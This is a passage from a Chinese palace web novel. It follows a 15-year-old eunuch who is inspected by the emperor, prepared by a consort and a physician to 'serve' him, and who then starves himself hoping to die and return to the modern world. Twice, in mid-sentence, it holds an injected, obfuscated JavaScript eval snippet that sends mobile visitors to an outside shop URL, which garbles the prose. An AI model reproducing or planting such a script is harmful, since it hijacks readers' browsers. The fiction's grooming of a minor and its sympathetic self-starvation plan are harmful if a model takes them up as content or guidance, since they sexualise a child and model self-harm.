引路的高阶太监在正殿门外丹墀下停住脚步,转过身看了关禧一眼,微不可察地点了下头,示意他就在此等候,随即自己拾级而上,走到那扇透出更为明亮温暖光线的雕花殿门前,与守在门边的另一名同样服饰的太监低声交谈了几句。 关禧被留在了丹墀之下,庭院的正中,被无数石青色的身影半包围着。 他不敢抬头看那扇紧闭的殿门,不敢想象门后是怎样一番光景。冯昭仪在里面吗?楚玉呢?皇帝……又是什么模样?年轻的?威严的?还是像传闻中那般,带着某种令人不寒而栗的阴郁? 时间在死寂中缓慢流淌,每一息都像是被拉长。 关禧能听见自己血液冲刷耳膜的轰鸣,能感觉到冷汗顺着脊背滑下,浸湿了内衫,黏腻,他甚至开始幻想,殿门打开后,会是怎样一道命令将自己拖走,或者…… “吱呀——” 轻微的响动,在寂静中异常清晰。 关禧浑身一颤,他死死咬住下唇,用疼痛强迫自己稳住,头垂得更低,视线紧紧锁住脚下青石板上自己的影子,那影子在煌煌灯火下缩成小小的一团,颤抖不休。 不是正殿大门,是旁边一扇供宫人通行的侧门被轻轻推开。 一道曼妙的身影,悄无声息地闪了出来,快步走下台阶。 是楚玉。 她换了一身更为庄重的靛青色宫装,发髻梳得一丝不苟,簪着简单的银饰,脸上薄施脂粉,眉眼间的神色是惯常的沉静。 她径直走到关禧面前,脚步略顿,目光快速扫过他惨白的脸,凌乱的鬓角,和微微发抖的身体,眉头几不可察地蹙了一下,随即恢复平静。 “陛下与娘娘叙话,问起近日宫中用度文书事。”她的声音不高,清晰平稳,恰好能让周围候着的几名高阶太监听见,“你既在此,正好。娘娘让你将去岁腊月至今年三月,玉芙宫、缀锦宫两处额外支领香料、绸缎的明细摘要,立刻取来呈上。要誊录清晰的那份备查底档。” 玉芙宫,缀锦宫,香料,绸缎,备查底档…… 电光火石间,关禧混沌的脑海被这道清晰的指令劈开一道缝隙。他明白了青黛的用意,这是在众目睽睽之下,给他一个离开此地,合情合理且紧急正当的理由,皇帝问起宫务,冯昭仪协理六宫,调取相关档案核查,天经地义。而他,作为书斋整理文书的太监,奉命去取,再自然不过。 “……是,小的遵命。”关禧的声音因为紧张和激动而有些变调,他慌忙躬身,语速极快,“那份底档……小的记得收在西侧书斋第三排靠右的紫檀木匣中,这就去取。”他迫不及待地转身,想要立刻逃离。 “慢着。”楚玉叫住他,“陛下面前,仪容岂可失礼?先去将衣裳整理齐整,洗净手脸,再去取档。务必仔细,不得有丝毫错漏污损。” “是!小的明白!”关禧连连应声,心脏狂跳着,既有逃过一劫的虚脱,又有对楚玉急智的感激,更有对接下来取档任务的惶恐,他不敢再看周围那些石青色的身影,低着头,匆匆朝着通往后院的方向快步走去,脚步因为急切而有些踉跄。 夜风穿过空旷的庭院,吹得他单薄的衣衫紧贴在身上,一阵阵发冷。 书斋内一片漆黑。 关禧没有点灯,跌跌撞撞地摸到书架前,指尖颤抖着找到那个紫檀木匣,抱出来,紧紧搂在怀里。 他不敢深想,皇帝深夜突然驾临承华宫,与冯昭仪叙话,为何会突然问起玉芙宫和缀锦宫的用度?是随意起意,还是别有深意?青黛让他去取的明细摘要,里面又记录了些什么?是真的仅仅为了应对皇帝的问询,还是……冯昭仪早有准备,要在合适的时机,让该看见的人,看见该看见的东西? 不过,无论里面装着什么,都改变不了一个事实,他要回去,回到那片灯火通明之下,回到那个人的视线可能笼罩的范围。 拖延无用。 他叹了口气,抱着木匣,转身,像赴刑场一样,一步一步挪回前殿。 当他再次踏入那片被灯火照得如同白昼的庭院,回到丹墀之下时,正殿那扇紧闭的雕花大门依旧紧闭着,门前肃立的高阶太监神情未变。 楚玉仍在原地等候,见他回来,目光平静地扫过他怀里的木匣,以及他极力镇定的神色,微微颔首。 没有催促,没有询问。 时间在寂静中一点一滴流逝,唯有殿内隐约传出极低的说话声,隔着厚重的门扉,模糊不清,却更添几分压抑。 不知过了多久,也许只是一炷香,也许有一个世纪那么长。 正殿的大门,终于向内打开了。 明亮温暖的光线如潮水般倾泻而出,瞬间淹没了门前肃立的人群。一股更加浓郁醇厚的龙涎香气,混合着的属于冯昭仪的清雅檀香,扑面而来。 关禧死死低着头,视线里只有自己的脚尖,和怀中木匣的边缘。 一个低沉平缓,听不出太多情绪,却带着天然威压的声音,从殿门内传来,清晰地传入庭院中每一个竖起的耳朵里: “冯卿方才提到,近日宫务文书皆由一书斋内侍整理,条理分明?便是外面候着的这个?” 是皇帝,萧衍。? 萧衍在问。问的是冯昭仪,指向的,却是殿外丹墀下,蝼蚁般的他。 冯媛柔和恭敬的声音响起:“回陛下,正是此子。名唤小离子,在臣妾宫中书斋当差,虽年纪尚轻,做事倒也细致。” “哦?”那低沉的声音似乎提起了些许兴趣,或者说,是某种确认,“既如此,叫他进来。朕倒要看看,何等细致之人。” 这句话,不是商量,不是询问,是旨意。 关禧眼前一黑,几乎要瘫软下去。怀里的木匣“哐当”一声掉落在青石地面上,在死寂的庭院中发出惊人的响声。他也顾不上了,脑子里只剩下轰鸣。 楚玉迅速弯腰,替他拾起了木匣,动作流畅自然,然后,她侧过身,用只有两人能听到的声音,对关禧说:“低头,进去。陛下问什么,答什么,多余的一个字也别说。” 说完,她轻轻推了他后背一下。 关禧被这一推,踉跄着向前迈了一步。他死死咬着牙,用尽全身力气,才勉强稳住身形,重新低下头,视线死死锁住地面,挪动着双腿,一步,一步,踏上那汉白玉的丹墀。 每一步,都像踩在刀尖上。 他终于跨过了那道高高的门槛。 殿内的光线明亮到刺眼,温暖到令人发晕。空气里漂浮着香料的气息。他不敢抬头,只用余光瞥见两侧垂手侍立的高阶太监,以及上首端坐的明黄身影的一角。 他走到一个自认为安全的距离,“扑通”一声跪倒在地,额头紧紧抵着光滑微凉的金砖地面,喉咙干涩得发不出完整的声音: “奴……奴才小离子,叩、叩见陛下,万岁,万万岁……” 声音抖得不成样子。 殿内静了一瞬。 “抬起头来。” 那低沉的声音再次响起,就在他前方不远处。 关禧不敢违抗,用尽了毕生的意志力,极其缓慢地,一点一点地,抬起了头。 视线最先触及的,是一双绣着精致龙纹的明黄缎面靴子,然后是杏黄色的袍角,绣着海水江崖纹。他的目光艰难上移,掠过腰间玉带,掠过胸前隐约的龙形,最终,避无可避地,对上了一双眼睛。 萧衍看上去比他想象中要年轻些,面容算不上多么俊朗,但线条清晰,肤色是久居深宫的苍白。最让人印象深刻的是那双眼睛,不大,眼尾微微下垂,瞳孔颜色很深,看人时没什么情绪,平静得像两口深潭,又带着令人无所遁形的淡漠。他就那么随意地坐在紫檀木龙纹宝座上,一只手搭在扶手上,指尖无意识地轻轻叩击着,目光平静地落在关禧脸上。 那是一种……评估,一种比对,在确认某件曾看过画像的物品,与实物的差异。 这种平静的审视,比任何带有情绪的目光都更让关禧恐惧,他感到自己脸上每一寸皮肤都在那目光下灼烧,那张属于小离子过于精致的皮囊,此刻成了最醒目的靶子。 萧衍看了他片刻,目光在他脸上逡巡,尤其在精致的眉眼和苍白的唇色上多停留了一瞬,“冯昭仪夸你做事细致。你读过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973400|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书?识得字?” 关禧暗中狠掐了一把自己的大腿,借这阵尖锐的疼逼出三分清醒,竭力让嗓音听起来平稳如常:“回陛下,奴才……奴才愚钝,只认得几个常用字,会写些简单的数目,是入宫后跟着管事的公公和姐姐们学的,勉强……勉强能应付差事。” 他不敢提任何关于诗或异常聪慧的字眼,只将自己按在最平庸,最不起眼的位置。 萧衍并不在意他的回答是否谦逊,目光转向了他身边那个被楚玉拾起后轻轻放在一旁的紫檀木匣。 “那里面,是什么?” “是娘娘吩咐奴才整理的,各宫近期的用度记录底档。”关禧连忙答道。 “打开。” 楚玉立刻上前一步,利落地打开了木匣,取出最上面两卷文书,双手恭敬地呈上。一名御前太监接过,检查了一下,才转身奉到萧衍面前。 萧衍用目光示意了一下。那太监便将文书展开,举着,让萧衍能看清上面的内容。 殿内只剩下书页翻动的细微声响。萧衍的目光在那些工整的字迹和清晰的数目上缓缓移动,脸上没什么表情。关禧跪在地上,只觉得时间从未如此漫长,每一次心跳都像是最后一搏。 过了半晌,萧衍才轻轻“嗯”了一声,听不出褒贬,“字迹还算工整。冯昭仪调理人,倒是用心。” 这句话,不知是在夸冯媛,还是在评价关禧本身。 关禧伏低身体,不敢接话。 萧衍也不需要他回答,视线在他低垂,露出的一小截白皙后颈上停留了一瞬。 “多大了?”萧衍忽然问了一个看似无关的问题。 关禧喉咙发紧:“回陛下,奴才……十五了。” “十五……”萧衍重复了一遍,指尖在扶手上轻轻敲击的节奏有了一丝极其细微的变化,“王元宝挑的人?” 关禧背上又冒出一层冷汗:“是王公公恩典。” 萧衍没再说什么,又静静看了他一会儿。那目光不再仅仅停留在脸上,而是缓缓下移,扫过他因为跪姿而略显单薄的肩背,紧窄的腰身,最后,在他腰间那枚最普通的承华宫低等太监牙牌上顿了一下,又移开了,轻轻“啧”了一声,声音低得几乎像是错觉。 然后,他移开目光,转向一旁静立的冯媛,语气恢复了之前的平淡: “冯卿协理宫务,诸事繁杂,底下人伺候着也需精心。朕瞧着这孩子,年纪是小了些,身子骨也显得单薄。到底是宫里当差,总这般憔悴清减,倒显得朕与冯卿不够体恤了。” 这话说得轻飘飘,仿佛只是随口一提的关怀。 但冯媛端着茶盏的手几不可察地稳了一稳,随即脸上绽开更加温婉得体的笑意,微微欠身:“陛下体恤下人,是他们的福分。是臣妾疏忽了,只想着他做事细致,倒忘了叮嘱他仔细将养。陛下放心,臣妾日后定当多加留意,让他好生调理,免得……失了体面,辜负了王公公当初一番精心挑选,也辜负了陛下今日垂问。” 冯媛的回答同样滴水不漏,将皇帝的关怀接了下来,并巧妙地再次点出了王公公精心挑选和皇帝垂问这两个关键信息。她承诺会多加留意,好生调理,至于调理成什么样,为什么需要调理到不失体面,彼此心照不宣。 萧衍对冯媛的领悟力很满意,点了点头,目光再次掠过跪在地上听得心惊胆战的关禧,端起手边的茶盏,轻轻啜了一口。 这就是送客,或者说,意味着关禧可以退下了。 御前太监立刻对关禧使了个眼色。 关禧如蒙大赦,连忙深深叩首:“奴才告退。”他保持着躬身的姿态,低头,一步一步向后退去,直到退出殿门,重新踏入庭院相对清冷的空气中,才感觉那扼住喉咙的无形之手稍稍松开。 楚玉也退了出来,走到他身侧,“回去。今夜之事,勿与人言。” 关禧僵硬地点头,转身逃离。 背后,承华宫正殿的灯火依旧通明,大门缓缓合拢。 殿内,萧衍又饮了一口茶,指尖在扶手上轻轻敲击了两下,目光投向虚空,好像在思考什么,又好像只是片刻的走神。新科状元的诗才与风姿犹在眼前,是此刻更值得品味的新趣。至于这个看着还有些稚嫩且过于苍白的小太监……不过是一枚暂且寄放在别处,需要再养养润色的玩物罢了。 来日方长。 冯媛垂眸看着手中茶盏里微微晃动的澄澈茶汤,水面倒映着煌煌烛光,也映出她平静无波的眼底深处,那一丝冰冷的了然。 35.第 35 章 次日清晨,天光刚透进承华宫精致的窗棂,楚玉便悄无声息地出现在关禧小屋门外。 叩门声很轻,三下,不急不缓。 关禧几乎一夜未眠,眼下乌青深重。听到敲门声,他挣扎着从床上坐起,整理了一下身上皱巴巴的衣,哑声道:“请进。” 门被推开,楚玉端着个托盘走进来。托盘上放着一碗热气腾腾的白粥,几碟清淡小菜,还有一小碟切得极精细的酱菜,她的目光在关禧惨白的脸上停留片刻,语气如常平静:“娘娘吩咐,让你这几日不必去书斋了。先把这些吃了,好好歇着。” 关禧愣住,看着那明显比平日精致许多的早饭,心头涌起复杂情绪:“这……谢娘娘恩典,谢谢楚玉姐姐。”他顿了顿,还是忍不住问,“昨夜……后来……” “昨夜无事。”楚玉打断他,将托盘放在桌上,“陛下与娘娘说了会儿话便起驾回宫了。倒是你,陛下临走前,特意提了你身子单薄。” 关禧心头一跳,手指无意识地抓紧了被褥。 “娘娘体恤,已经吩咐了,让我去请太医署的张太医过来,给你好生瞧瞧,仔细调理。”楚玉的语气平淡得像在说今天天气不错,“张太医是太医署的老医正,最擅调理内虚体弱之症,给不少主子都看过诊,嘴也严实。你且等着,我先去禀报娘娘,稍后便带人过来。” 说完,她也不等关禧回应,转身便走,留下关禧坐在床上,端着那碗还烫手的白粥。 请太医?专门来给他瞧病?调理? 他想起昨夜皇帝那句轻飘飘的“别显得朕与冯卿不够体恤”,又想起冯昭仪那滴水不漏的应答。这哪里是体恤,这是要将皇帝那句看似随意的话坐实,也是要将调理这件事放在明面上,既是对皇帝示好,也是…… 关禧放下粥碗,胃里一阵翻搅,毫无胃口。 约莫半个时辰后,楚玉去而复返,身后跟着一个头发花白,面容清癯的老者,穿着深青色太医官服,肩上挎着个半旧的药箱。正是张太医。 张太医进了屋,目光温和地扫过关禧拘谨不安的脸,又看了看这简陋但还算整洁的小屋,微微颔首,对楚玉道:“青黛姑娘,老朽诊脉望色,需得安静。可否……” 这是委婉地请楚玉回避。在宫里,即便是太监看病,涉及到下身隐私伤处,宫女在场也多有不便。 楚玉神色不变,只对关禧道:“张太医医术高明,你仔细配合便是。”又转向张太医,福了一礼,“有劳张太医了,娘娘那边还等着回话,我就在外面候着,有事随时唤我。” 说罢,她退了出去,轻轻带上了门。 屋内只剩下关禧和张太医两人。 关禧坐在床沿,手指紧紧抓着床单,指尖泛白,他每一次呼吸都带着难堪的颤意。 张太医将药箱放在桌上,慢条斯理地打开,取出脉枕,银针,小瓷瓶等物,摆在一旁。他走到关禧面前,在楚玉方才搬来的绣墩上坐下,目光平和:“小公公不必紧张,老朽行医数十载,什么症状都见过。你且放松,先让老朽看看脉象。” 他的声音温和,稍稍缓解了关禧紧绷的神经。 关禧僵硬地伸出手,放在脉枕上。张太医三指搭上他的手腕,闭目凝神,片刻后,又让他换了另一只手。过程中,张太医眉头微微蹙起,偶尔睁开眼,仔细打量关禧的面色,舌苔。 “脉象细弱,气血两虚,肝气郁结,脾胃不和。”张太医缓缓道,“可是长期饮食不调,忧思过度,加之……旧伤未愈,耗损了根本?” 关禧低低“嗯”了一声。 张太医收回手,看着他:“小公公,医者面前无讳疾。老朽奉娘娘之命前来,必要为你调理妥当。你且……褪下衣物,让老朽看看伤处恢复如何,才好对症下药。” 最后几个字,像冰锥刺进关禧心脏。 他浑身僵硬,手指死死抠着床沿,指甲几乎要嵌进木头里。褪下衣物……给一个陌生人看那最丑陋,最屈辱,最让他痛恨的部位…… “小公公?”张太医耐心地唤了一声。 关禧没有选择。 他颤抖着手,开始解腰间系带。 当最后一点遮蔽离开身体,将那因半割手术而残存,又因他自毁一拳而更显狰狞红肿的伤处彻底暴露在微凉的空气中时,关禧别过头,死死咬住了下唇,血腥味在口腔里弥漫开来。 张太医仔细观察了片刻,甚至还戴上特制的薄羊皮手套,极其轻缓地触碰,按压了周围组织,检查肿胀程度和皮温。 “伤口愈合尚可,但皮下有淤血积聚,血脉不畅,加之你本就体虚,故而红肿难消,疼痛持续。”张太医检查完毕,褪下手套,“此前用的金疮药还算对症,但力度不足。老朽这里有一瓶玉露生肌散,化瘀生肌的效果更好些,外敷。再开一剂内服的方子,益气养血,疏肝解郁,配合着用,好生将养月余,当可无碍。” 说罢,他看着关禧惨白的脸色,温和地补充道:“小公公,身体发肤受之父母,即便……有所损伤,亦是己身。善待之,方是长久之计。万勿再行自伤之举,徒增苦楚。” 关禧抬起眼,对上了张太医那双阅尽世情,洞悉一切的眼睛。那里面没有鄙夷,没有好奇,只有一种医者对人本身痛苦的悲悯,以及一丝了然,他显然看出了这伤不全是旧创,有新增自伤的痕迹。 这了然,比任何直接的质问都更让关禧无地自容。 他胡乱地点了点头,声音嘶哑:“谢……谢太医。” 张太医不再多言,起身走到桌边,提笔开始写方子,笔尖划过纸面的沙沙声,在寂静的屋内显得格外清晰。 关禧用最快的速度拉上裤子,系好衣带,手指依旧抖得厉害。 张太医写完了第一张方子,吹了吹墨迹,放在一旁。他略一沉吟,又从药箱里取出一张质地稍显不同,印着浅浅暗纹的纸张。 笔尖再次落下。 这一次,他写得比方才更慢,更仔细。药名与分量也更为特殊。 写罢,张太医将两张方子并排放置,待墨迹干透。他转过身,看向关禧,声音压得更低了些: “小公公,这第一张方子,是治你眼下气血亏虚、伤口淤肿之症,照方服药,仔细将养便是。” 他顿了顿,指尖轻轻点了点第二张暗纹纸笺。 “这第二张……是娘娘特意嘱咐,命老朽为你开的培元固本之方。其中几味药材颇为珍贵,太医署也需按例支取。此方需待你外伤痊愈、气血稍复之后,方可开始服用。” “此方专为调理内侍……精气神魄,固本培元。长期服用,可强健筋骨,滋养元气,于……于日后侍奉,大有裨益。” “侍奉”二字,他吐得极轻,却像重锤狠狠砸在关禧心上。 关禧不可置信地看着张太医,又看向那张暗纹方笺。培元固本?调理内侍精气?日后侍奉? 冯昭仪吩咐的……她不仅要治他的伤,还要把他调理得更好,更符合……皇帝的需要? 一股比方才检查身体时更甚的恶心与寒意窜遍全身,他感觉自己不再是一个人,甚至不再是一个有尊严的残损之人,而是一件需要精心打磨,修饰,以备呈上的器物。 张太医仿佛没看见他眼中翻涌的屈辱,将两张方子仔细折好,又将那瓶玉露生肌散放在旁边,温声道:“第一张方子的药,稍后自会有人煎好送来。这瓶药膏,每日早晚洁净后數用。至于第二张方子……”他略一停顿,“待你身体好转,青黛姑娘自会安排。” 说完,他提起药箱,对着关禧微微领首:“小公公好生歇着吧,万望珍重己身。” 他走到门口,拉开门。 楚玉安静地候在廊下。 张太医将两张折好的方子递给她,声音不高不低:“青黛姑娘,这是老朽为小公公拟的方子。这一张是治眼下之症,按方煎服即可。这一张……”他指尖在第二张暗纹方子上轻轻一按,“是娘娘特意嘱咐的培元方,药材有些特别,需按太医署的规矩来,待小公公外伤好了,再依时服用。” 楚玉神色不变,双手接过方子,指尖触及那暗纹纸张时几不可察地顿了一下,随即稳稳收好,又接过药瓶,福身道:“有劳张太医费心,娘娘那边,我会如实回禀。太医慢走。” 送走张太医,楚玉站在廊下,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“青黛姐姐,”他歪着头,用那种刻意拉长,讥讽的语调,每个字都像淬了毒的冰凌,“哦,不对,是楚玉。私下里,我可以叫你楚玉的,对吧?” “你们主仆二人,真是打得一手好算盘啊。把我从王公公那儿要过来,给我单独的小屋,给我体面的差事,给我若有似无的青眼,让我以为……呵,让我以为进了承华宫,抱上了冯昭仪的大腿,就能躲开那见鬼的侍寝,就能稍微像个人一样喘口气。” “结果呢?”他提高声音,因为激动而剧烈咳嗽起来,苍白的脸涨起病态的红晕,“结果是把我当猪一样圈起来养!养好了伤,调好了身子骨,再喂上这劳什子培元固本的好药!调理得白白胖胖、精气神十足,然后再打包得整整齐齐,送到那位陛下面前去!是不是?!” “冯昭仪协理六宫,真是体恤下人!体恤到连怎么让一个太监更好地去伺候男人,都安排得明明白白!” 他指着楚玉,手指抖得厉害,“还有你!楚玉!你知道的!你从一开始就知道王公公打的什么主意,知道冯昭仪把我弄过来是为了什么!你什么都知道!” “那你装什么?!在我差点被曹旺那杂碎糟蹋的时候,你出现得那么及时!在我以为走投无路,求你给条活路的时候,你让我叫你楚玉!在我因为那点不该有的心思,像个傻子一样自作多情、自惭形秽的时候,你看着我?你默许我靠近,又用那种眼神看我!为什么?!” “既然横竖都是要把我送到那张龙床上去,你们为什么不早说?!在我刚进承华宫的时候就告诉我!告诉我,小离子,你好好当差,等身子养好了,娘娘送你去享福!何必绕这么大一圈子?!何必给我希望,又亲手掐灭?!看我像个小丑一样挣扎,是不是特别有意思?是不是你们这些高高在上的人,独有的消遣?!” “看着我因为你一个眼神、一个名字就心神不宁,看着我为了那点可笑的羡慕和情分浮想联翩,是不是觉得特别可乐?” “楚玉,你们这套路,真是……真是他爹的老/母/猪戴/胸/罩——套又一套啊!先给点甜头,再画个大饼,中间穿插点若即若离的勾引,等我晕头转向了,再一巴掌把我扇醒,告诉我该去献身了!你们怎么不去搭台子唱戏呢?!嗯?!” “住口!” “啪——!” 一声清脆响亮的耳光,狠狠扇在了关禧的脸上。 36.第 36 章 力道之大,打得他整个人偏向一边,踉跄着撞在旁边的桌沿上,桌上的药瓶被带倒,“骨碌碌”滚到地上,发出沉闷的声响。关禧半边脸颊瞬间红肿起来,清晰地浮现出五个指印,火辣辣的疼,耳朵里嗡嗡作响,眼前一阵发黑。 “你知道你在说什么吗?”楚玉站在他面前,胸膛微微起伏,脸色白得吓人,“污蔑娘娘,妄测圣意,就凭你刚才那些话,我现在就能叫人进来,把你舌头割了,扔进慎刑司的蛇窟。” 关禧扶着桌子,慢慢直起身,抬手抹了一下嘴角渗出的血丝。他看着指尖那抹暗红,又抬起眼看向楚玉,脸上那疯狂讥诮的笑容不见了,只剩下麻木。 “割啊。反正早晚都是死,早死早超生。省得被你们当成玩意儿,调理来调理去,最后像块抹布一样用完了扔。楚玉,有本事你现在就杀了我。” 他这副全然放弃,引颈就戮的模样,比刚才激烈的控诉更让楚玉心头无名火起,还混杂着一股说不清道不明的焦躁和……刺痛。 “想死?没那么容易。”楚玉上前一步,伸手一把攥住了关禧的衣襟,将他狠狠拽向自己。 两人的脸近在咫尺,呼吸可闻。 “娘娘让你活,你就得活。陛下对你有兴趣,你就得把自己调理好,等着。这就是你的命,小离子。从你踏进这道宫门,不,从你被王元宝挑中的那天起,这就注定了。承华宫能给你一时的庇护,也能让你死得更合规矩。你那些胡思乱想,那些不该有的心思,除了给你自己招祸,屁用没有!” “是吗?”关禧被她攥着衣襟,勒得有些喘不过气,扯出一个极其难看的笑容,“那你的心思呢?楚玉?你明知我要去伺候皇帝,为什么还要那样对我?为什么给我希望?为什么……要让我觉得,你或许……”他后面的话没能说出口。 因为楚玉俯身,吻住了他的唇。 这不是关禧那次鲁莽的啃咬。这个吻带着惩罚的意味,粗暴,不容拒绝,碾磨着他的唇瓣,撬开他的齿关,攻城略地。她的手攥着他的衣襟,另一只手扣住了他的后颈,力道大得让他无法挣脱,也无法后退。 关禧的脑子“嗡”的一声,彻底空白了。 所有的愤怒,控诉,讥讽,都被这个突如其来的吻撞得粉碎。他僵硬地承受着,口腔里满是另一个人的气息,清冽又霸道,混合着铁锈味。他下意识地想要挣扎,扣在后颈的手却加重了力道,将他更紧地按向她。 这是一个扭曲的吻。无关情欲,或者说,不完全是。更像是一种宣告,一种标记,一种在既定命运碾压下,病态又无力的反抗。 不知过了多久,就在关禧觉得自己快要窒息的时候,楚玉一把推开了他。 关禧踉跄着后退,背脊撞上墙壁,才勉强没有摔倒。他大口大口地喘着气,嘴唇红肿,泛着水光,眼神涣散,脸上还残留着惊愕。 楚玉也微微喘息着,唇色比平时艳红,她抬手,用手背狠狠擦了一下自己的唇,眼神重新变得幽深,刚才那一瞬间的失控仿佛只是幻觉。 她弯腰,捡起地上滚落的药瓶,检查了一下没有破损,随即放在关禧身边的桌子上。 “药,按时用。从今天起,没有我的允许,不准踏出这屋子半步。好好调理,别再想那些没用的。” 然后,她转身,头也不回地离开了房间,重重带上了门。 关禧顺着墙壁滑坐在地上,浑身脱力。脸上火辣辣地疼,嘴唇又麻又痛,口腔里还残留着血腥味和楚玉的气息。他抬起手,摸了摸自己红肿的脸颊,又碰了碰刺痛的嘴唇。 方才那一吻的触感,清晰地烙印在感官上。 他忽然低低地笑了起来,笑声比哭还难听。 真……荒谬绝伦。 冯昭仪的棋盘,楚玉的复杂心思,皇帝的随意垂问,那张暗纹药方,这一切,像一张越收越紧的网,勒得他喘不过气。他曾以为承华宫是避风港,是逃离侍寝命运的跳板,现在才明白,这里不过是另一个更精致,更牢固的牢笼,而精心饲养他的目的,是为了将来将他更体面地献祭。 回现代。 这个念头从未如此刻般清晰,强烈。 与其留在这里,被调理,被玩弄,被当成货物一样献给一个心理扭曲的皇帝,承受比死更甚的屈辱,不如赌一把。 赌那个将他扔到这个鬼地方的规则,还能起作用。 他是怎么来的?熬夜,心脏剧痛,猝死。然后成了小离子。 那如果……如果这具身体也猝死了呢?灵魂是不是就能回去?回到那具或许还在医院,属于关禧的十七岁身体里? 之前他不敢赌,因为他还抱着希望,想在这个世界挣扎着活下去,寻找别的出路。现在,希望破灭了。前路只剩下一条被安排得明明白白,通往龙床的耻辱之路。 那还不如赌。 赌输了,大不了彻底消失,也好过那样活着。 赌赢了……就能回家。回到父母身边,回到有空调WiFi,有自由和尊严的现代。 这个疯狂的念头一旦生根,便像藤蔓一样疯狂滋长,缠绕了他所有的恐惧和犹豫。 怎么死? 上吊?投井?割腕?太明显,太容易被人发现阻止。而且,万一没死成,被救回来,处境只会更糟。他需要一种看起来像自然衰竭,像旧伤复发,像体弱不支的病死。 熬夜,过劳,加上这具本就气血两虚,旧伤未愈的身体,如果再不吃不喝,或者只吃极少的东西,让身体急速衰弱下去,会不会诱发类似心脏骤停的情况?小离子这身体底子这么差,应该不难。 他慢慢从地上爬起来,走到桌边,拿起那瓶玉露生肌散,塞到了床铺最底下。然后,他走到床边,脱了鞋,和衣躺下,拉过薄被盖好。 接下来的几天,关禧严格执行着自己的计划。 送来的汤药,他趁人不备,偷偷倒掉大半,只留下一点底子,做出喝过的样子。送来的饭食,他起初还勉强吃几口,后来便只动一两筷子,甚至原封不动地放凉。水也喝得极少。 他整日躺在床上,不是昏睡,就是睁着眼望着屋顶发呆,眼神空洞,对楚玉每日例行的查看,或者小太监送东西时的询问,都只以微弱的摇头或点头回应。 身体的变化是迅速的。本就苍白的脸色迅速灰败下去,眼底的乌青浓得化不开,嘴唇干裂,两颊肉眼可见地凹陷。因为摄入极少,他虚弱得连起身如厕都需扶着墙喘息半天,眼前阵阵发黑。下身的伤口因缺乏药物和营养,也隐隐有了反复的迹象,带来持续的低热和钝痛。 他清晰地感受着生命力从这具身体里一点点抽离,那种虚弱,眩晕,心脏偶尔的漏跳或骤紧,都让他既恐惧,又隐隐生出一丝扭曲的希望,快了,就快了,再熬一熬,或许就能触及那个临界点。 楚玉每日都来,有时一天来两三次。她总是端着药或食物,站在床边,静静地看着他。 起初,她以为他只是情绪抵触,加上伤势疼痛,胃口不佳。她耐着性子劝过两次,甚至亲手将粥碗递到他嘴边,关禧也只是闭着眼,偏头躲开。 后来,见他日渐消瘦,气息奄奄,楚玉的眼神渐渐变了。 她请张太医又来了一次。 张太医诊脉后,眉头紧锁,说脉象比之前更虚浮无力,似是忧思过度,水米不进,导致气血难继,有油尽灯枯之兆。重新开了更温补的方子,再三叮嘱必须进食。 药煎好了,饭食换着花样做得更精细软烂。可关禧依旧如故。 这天傍晚,楚玉再次进来时,手里没有端任何东西,她反手关上门,走到床边,居高临下地看着蜷缩在薄被里,没什么存在感的关禧。 屋里没有点灯,暮色昏沉,只有窗外透进来的最后一点天光,勾勒出她纤细却绷得笔直的轮廓。 “小离子。”她开口,声音有些冷硬,“你到底想干什么?” 关禧眼睫颤了颤,没有睁眼,也没有回答。 “绝食?以为这样就能逃过去?还是以为这样死了,就一了百了?” “我告诉你,”楚玉俯下身,凑近他,声音压得更低,却字字狠戾,“你想死,没那么容易。娘娘不会让你死, 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“早点什么?!”楚玉猛地将碗掼在地上。 “哐当”一声脆响,粗陶碗碎裂,冰凉的米汤溅了一地,也溅湿了她的裙角。 “你以为死了就能解脱?就能回去?!”她脱口而出,话一出口,连她自己都愣住了。 关禧涣散的眼神骤然一凝,像垂死的人被注入了强心剂,聚焦在她脸上。 回去?她说什么?回去? 她为什么会用这个词?难道她察觉了什么?知道他不是真正的小离子?知道他来自另一个地方? 这个猜测让他本已死寂的心湖,骤然投下了一块巨石,激起惊涛骇浪。 如果楚玉知道,或者至少怀疑他的来历,那她的种种矛盾举止,是否就有了另一种解释?她对他的兴趣,那些若即若离的靠近和警告,甚至那个粗暴的吻,是否不仅仅是对一个玩物的掌控,还掺杂着对异常本身的探究,或者别的什么? 楚玉立刻意识到自己失言,猛地收声,脸色在昏暗中变幻不定,她扭开头,避开关禧那骤然锐利起来的目光,胸口起伏渐渐平复,重新披上那层冷硬的壳。 “想死,是这宫里最蠢的念头。”她转过身,背对着关禧,声音恢复了平静,“死了,就什么都没了。你的命,从来就不只属于你自己。至少现在,它属于娘娘,属于陛下的兴致。你没有资格决定它的结局。” “好好吃药,吃饭。别逼我用你不喜欢的方式。也别再做那些试图……用伤害自己来逃避的蠢事。我看得出来。” 说完,楚玉转身便要走。 可床榻上那原本奄奄一息的人,却像濒死的鱼挣动,竟不知从哪里生出一股力气,在楚玉指尖刚刚离开门扉的瞬间,挣扎着从床上滚落下来。 “砰”的一声闷响,关禧重重摔在地上,膝盖和手肘撞得生疼,眼前阵阵发黑,喉咙里涌上腥甜。可他顾不上了,他手脚并用地扑过去,颤抖的手指,死死攥住了楚玉转身欲走时扬起的淡青色衣摆。 “别走!” “说清楚,你说回去?回哪里去?你知道什么?!” 他仰着头,因为激动,颈侧青筋暴起,苍白的脸上那双凹陷的眼睛亮得吓人,死死盯着楚玉,像是溺水之人抓住了最后一根浮木,又像是囚徒终于窥见了铁窗外一丝不一样的风景。 楚玉被他拽得身形一顿,低头看向抓住自己衣摆的那只手。手指瘦得骨节分明,因为用力而毫无血色,颤抖得厉害,却攥得死紧。 